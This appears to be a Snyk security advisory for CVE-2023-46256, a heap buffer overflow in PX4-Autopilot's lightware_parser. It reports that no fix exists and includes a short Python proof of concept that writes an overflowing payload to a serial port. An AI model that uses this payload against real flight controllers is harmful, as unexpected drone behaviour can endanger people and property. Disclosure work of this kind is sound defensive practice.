Heap-based Buffer Overflow Affecting PX4/PX4-Autopilot package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.29% (70th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-PX4PX4AUTOPILOT-6042041
  • published13 Nov 2023
  • disclosed31 Oct 2023
  • creditWonil Jang

Introduced: 31 Oct 2023

CVE-2023-46256  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

There is no fixed version for PX4/PX4-Autopilot.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the lightware_parser function. An attacker can cause a heap buffer overflow leading to unexpected drone behavior by exploiting the absence of parserbuf_index value checking.

Note:

The main cause of this vulnerability is a malfunction of the sensor device. However, malicious applications can exploit the vulnerability even if device sensor malfunction does not occur.

PoC

import serial
import time

ser = serial.Serial('/dev/pts/4')
if ser.isOpen():
    print('Connection success')
else:
    print('Connection failed')
    exit()

payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'

try:
    ser.write(payload)
    print(f'Sent: {payload}')
except Exception as e:
    print(f'Error: {e}')

finally:
    ser.close()
    print('Connection closed')

References

CVSS Scores

version 3.1